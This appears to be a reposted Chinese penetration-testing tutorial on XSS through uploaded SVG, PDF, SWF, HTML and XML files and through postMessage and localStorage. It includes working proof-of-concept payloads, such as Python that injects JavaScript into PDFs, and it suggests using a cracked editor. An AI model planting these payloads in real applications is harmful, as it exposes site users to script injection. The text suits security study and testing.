Web攻防-XSS跨站文件类型功能逻辑SVGPDFSWFHTMLXMLPMessageLocalStorage

知识点:
1、Web攻防-XSS跨站-文件类型-html&pdf&swf&svg&xml
2、Web攻防-XSS跨站-功能逻辑-postMessage&localStorage

一、演示案例-WEB攻防-XSS跨站-文件类型触发XSS-SVG&PDF&SWF&HTML&XML等

1、SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /><script>alert(1)</script>
</svg>

在这里插入图片描述
在这里插入图片描述
通过文件上传功能上传一个SVG文件(该文件已经提前植入XSS代码),然后在访问这个上传后的svg地址即可触发上图效果

2、PDF-XSS

制作工具:迅捷PDF编辑器试用版

(最好网上找破解版,然后导入其他正常的pdf,在正常的pdf插入js动作)

1、创建PDF,加入动作JS

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2、通过文件上传获取直链
在这里插入图片描述
3、直链地址访问后被触发
在这里插入图片描述

利用python创建一个含有XSS的PDF文件

from PyPDF2 import PdfReader, PdfWriter
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加js代码
output_pdf.add_js("app.alert('123');")
# 将新页面写入到新 PDF 文档中
with open("xss.pdf", "wb") as f:output_pdf.write(f)

使用python3运行这个python文件即可在当前目录下生成一个XSS.pdf文件,用浏览器打开这个pdf即可触发js代码
在这里插入图片描述
参考地址:https://www.bmabk.com/index.php/post/151955.html

和正常PDF绑定from PyPDF2 import PdfReader, PdfWriter
# 打开原始 22.PDF 文件
input_pdf = PdfReader("22.pdf")
# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 将现有的 PDF 页面复制到新文档
for i in range(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])
# 添加 javaScript 代码
output_pdf.add_js("app.alert('123');")
# 将新 PDF 文档写入到文件中
with open("xssplus.pdf", "wb") as f:output_pdf.write(f)提前准备好一个22.pdf文件,与当前py脚本放在同一个目录下,运行该py脚本即可在当前目录下生成一个xssplus.pdf

在这里插入图片描述
在这里插入图片描述

3、SWF-XSS

制作工具:Adobe Flash Professional CS6

1、新建swf文件(SWF文件是Flash动画文件格式)
在这里插入图片描述

在这里插入图片描述
2、F9进入代码区域
在这里插入图片描述
在这里插入图片描述
3、属性发布设置解析(root指当前swf文件)

//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
触发:?m=alert(/xss/)
在这里插入图片描述

实战中如何利用

1.通过文件上传自己制作的swf文件然后去访问执行
在这里插入图片描述
在这里插入图片描述
2、找到目标上存在的swf文件进行反编译后搜索关键字找xss漏洞
反编译项目:JPEXS Free Flash Decompiler
在这里插入图片描述
JPEXS Free Flash Decompiler工具打开这个swf文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call(最多),htmlText,loadMovie等等
在这里插入图片描述

4、HTML-XSS

单纯在HTML代码中写XSS代码即可
<script>alert(123)</script>

在这里插入图片描述
在这里插入图片描述

5、XML-XSS

XML文件本身不能执行JavaScript 代码,XML中可以加载外部的资源方式来触发XSS

流程:通过文件上传上传x.xml文件,得到x.xml文件路径,然后在上传一个xss.xml文件,代码中指向x.xml文件的路径,浏览器访问xss.xml就会触发x.xml中的xss

创建一个x.xml文件,内容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

在这里插入图片描述
然后对其进行引用:

创建一个xss.xml文件,内容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="http://127.0.0.1/x.xml"?>
<test></test>

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-XSS跨站-功能逻辑触发XSS-PostMessage&LocalStorage

1、PostMessage XSS

一个用于在网页间安全地发送消息的浏览器API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全原因:当发送参数可控且接收方处理不当时,将导致XSS

在这里插入图片描述
在这里插入图片描述

模拟漏洞挖掘场景

打开http://192.168.1.4:82/60/receive.html
分析源码
在这里插入图片描述
在这里插入图片描述

根据页面源码写一个xss.html文件上传上去来控制msg触发XSS

黑盒挖掘

如何去挖这种隐藏比较深的漏洞,这里强推一个国外白帽写的谷歌浏览器插件:
https://github.com/fransr/postMessage-tracker安装之后,只要是当前页面创建了message事件监听,这个插件就会定位到其代码。

白盒挖掘

找代码中此操作类函数及关键字分析
复盘:https://mp.weixin.qq.com/s/M5YIkJEoHZK6_I7nK6aj5w

2、localStorage型xss(存储型Xss升级版)

Web应用使用localStorage在用户浏览器中存储数据。localStorage允许网页在本地存储键值对,这些数据可以在浏览器关闭后仍然保留,并且在同一域名下的不同页面之间共享。当应用程序从localStorage中读取数据并将其显示在页面上时,如果没有对数据进行充分的验证和过滤,攻击者就有可能通过修改localStorage中的数据来注入恶意脚本实现XSS
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全原因:当localStorage可控且有页面有操作其数据,将导致XSS

黑盒挖掘:寻找输入点(如表单、搜索框、评论区等),构造测试用例找页面调用

白盒挖掘:查找与localStorage相关的代码段分析数据存储及数据读取

挖掘:先看目标应用localStorage

1、先找能控制的键名键值(怎么找)
在这里插入图片描述
在这里插入图片描述
2、再找对键名键值做输出操作(怎么找)
在这里插入图片描述

在这里插入图片描述
或者也可以从js里搜索userData关键字找谁调用了这个值
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/85424.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/85424.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

强大模型通过自我和解进步——Unsupervised Elicitation of Language Models——论文阅读笔记

本周关注的工作是&#xff1a;Unsupervised Elicitation of Language Models 这篇文章通篇体现了这样一件事——香蕉皮大需要香蕉大&#xff01; 一句话总结 首先注意&#xff1a;这个工作不是面向对齐的&#xff0c;而是写【如何准备】对齐任务的Reward Model需要的数据集的…

Qt—(Qt初识,槽,信号,事件)

一 Qt初识 暂时不写了 我的理解是类似于c#&#xff0c;是一个组件库&#xff0c;不局限是一个组件框架。 二 Qt Core Qt Core 是 Qt 框架的基础模块&#xff0c;提供非 GUI 的核心功能&#xff1a; 核心类&#xff1a;QObject&#xff08;信号槽机制&#xff09;、QEvent&…

深度学习——基于卷积神经网络实现食物图像分类【2】(数据增强)

文章目录 引言一、项目概述二、环境准备三、数据预处理3.1 数据增强与标准化3.2 数据集准备 四、自定义数据集类五、构建CNN模型六、训练与评估6.1 训练函数6.2 评估函数6.3 训练流程 七、关键技术与优化八、常见问题与解决九、完整代码十、总结 引言 本文将详细介绍如何使用P…

详细说说分布式Session的几种实现方式

1. 基于客户端存储&#xff08;Cookie-Based&#xff09; 原理&#xff1a;将会话数据直接存储在客户端 Cookie 中 实现&#xff1a; // Spring Boot 示例 Bean public CookieSerializer cookieSerializer() {DefaultCookieSerializer serializer new DefaultCookieSerializ…

用mac的ollama访问模型,为什么会出现模型胡乱输出,然后过一会儿再访问,就又变成正常的

例子&#xff1a;大模型推理遇到内存不足 1. 场景还原 你在Mac上用Ollama运行如下代码&#xff08;以Python为例&#xff0c;假设Ollama有API接口&#xff09;&#xff1a; import requestsprompt "请写一首关于夏天的诗。" response requests.post("http:…

简说 Linux 用户组

Linux 用户组 的核心概念、用途和管理方法&#xff0c;尽量简明易懂。 &#x1f31f; 什么是 Linux 用户组&#xff1f; 在 Linux 系统中&#xff1a; &#x1f449; 用户组&#xff08;group&#xff09; 是一组用户的集合&#xff0c;用来方便地管理权限。 &#x1f449; 用…

S32DS上进行S32K328的时钟配置,LPUART时钟配置步骤详解

1&#xff1a;S32K328的基础信息 S32K328官网介绍 由下图可知&#xff0c;S32K328的最大主频为 240MHz 2&#xff1a;S32K328时钟树配置 2.1 system clock node 节点说明 根据《S32K3xx Reference Manual》资料说明 Table 143 各个 系统时钟节点 的最大频率如下所示&#…

wordpress小语种网站模板

wordpress朝鲜语模板 紫色风格的韩语wordpress主题&#xff0c;适合做韩国、朝鲜的外贸公司官方网站使用。 https://www.jianzhanpress.com/?p8486 wordpress日文模板 绿色的日语wordpress外贸主题&#xff0c;用来搭建日文外贸网站很实用。 https://www.jianzhanpress.co…

网络:Wireshark解析https协议,firefox

文章目录 问题浏览器访问的解决方法python requests问题 现在大部分的网站已经切到https,很多站点即使开了80的端口,最终还是会返回301消息,让客户端转向到https的一个地址。 所以在使用wireshark进行问题分析的时候,解析tls上层的功能,是必不可少的,但是这个安全交换的…

ollama部署开源大模型

1. 技术概述 Spring AI&#xff1a;Spring 官方推出的 AI 框架&#xff0c;简化大模型集成&#xff08;如文本生成、问答系统&#xff09;&#xff0c;支持多种 LLM 提供商。Olama&#xff1a;开源的本地 LLM 推理引擎&#xff0c;支持量化模型部署&#xff0c;提供 REST API …

Kafka 可靠性保障:消息确认与事务机制(二)

Kafka 事务机制 1. 幂等性与事务的关系 在深入探讨 Kafka 的事务机制之前&#xff0c;先来了解一下幂等性的概念。幂等性&#xff0c;简单来说&#xff0c;就是对接口的多次调用所产生的结果和调用一次是一致的。在 Kafka 中&#xff0c;幂等性主要体现在生产者端&#xff0c…

使用 React.Children.map遍历或修改 children

使用场景&#xff1a; 需要对子组件进行统一处理&#xff08;如添加 key、包裹额外元素、过滤特定类型等&#xff09;。 动态修改 children 的 props 或结构。 示例代码&#xff1a;遍历并修改 children import React from react;// 一个组件&#xff0c;给每个子项添加边框…

智能体三阶:LLM→Function Call→MCP

哈喽&#xff0c;我是老刘 老刘是个客户端开发者&#xff0c;目前主要是用Flutter进行开发&#xff0c;从Flutter 1.0开始到现在已经6年多了。 那为啥最近我对MCP和AI这么感兴趣的呢&#xff1f; 一方面是因为作为一个在客户端领域实战多年的程序员&#xff0c;我觉得客户端开发…

flutter的常规特征

前言 Flutter 是由 Google 开发的开源 UI 软件开发工具包&#xff0c;用于构建跨平台的高性能、美观且一致的应用程序。 一、跨平台开发能力 1.多平台支持&#xff1a;Flutter 支持构建 iOS、Android、Web、Windows、macOS 和 Linux 应用&#xff0c;开发者可以使用一套代码库在…

【Git】代码托管服务

博主&#xff1a;&#x1f44d;不许代码码上红 欢迎&#xff1a;&#x1f40b;点赞、收藏、关注、评论。 格言&#xff1a; 大鹏一日同风起&#xff0c;扶摇直上九万里。 文章目录 Git代码托管服务概述Git核心概念主流Git托管平台Git基础配置仓库创建方式Git文件状态管理常用…

Android 网络请求的选择逻辑(Connectivity Modules)

代码分析 ConnectivityManager packages/modules/Connectivity/framework/src/android/net/ConnectivityManager.java 许多APN已经弃用,应用层统一用 requestNetwork() 来请求网络。 [ConnectivityManager] example [ConnectivityManager] requestNetwork() [Connectivi…

C#建立与数据库连接(版本问题的解决方案)踩坑总结

1.如何优雅的建立数据库连接 今天使用这个deepseek写代码&#xff0c;主要就是建立数据库的链接&#xff0c;包括这个建库建表啥的都是他整得&#xff0c;我就是负责执行&#xff0c;然后解决这个里面遇到的一些问题&#xff1b; 其实我学习这个C#不过是短短的4天的时间&…

FastAPI的初步学习(Django用户过来的)

我一直以来是Django重度用户。它有清晰的MVC架构模式、多应用组织结构。它内置用户认证、数据库ORM、数据库迁移、管理后台、日志等功能&#xff0c;还有强大的社区支持。再搭配上Django REST framework (DRF) &#xff0c;开发起来效率极高。主打功能强大、易于使用。 曾经也…

提升IT运维效率 贝锐向日葵推出自动化企业脚本功能

在企业进行远程IT运维管理的过程中&#xff0c;难免会涉及很多需要批量操作下发指令的场景&#xff0c;包括但不限于下列场景&#xff1a; ● ⼤规模设备部署与初始化、设备配置更新 ● 业务软件安装与系统维护&#xff0c;进行安全加固或执行问题修复命令 ● 远程设备监控与…

最简单的远程桌面连接方法是什么?系统自带内外网访问实现

在众多远程桌面连接方式中&#xff0c;使用 Windows 系统自带的远程桌面连接功能是较为简单的方法之一&#xff0c;无论是在局域网内还是通过公网进行远程连接&#xff0c;都能轻松实现。 一、局域网内连接步骤 1、 开启目标计算机远程桌面功能&#xff1a;在目标计算机&…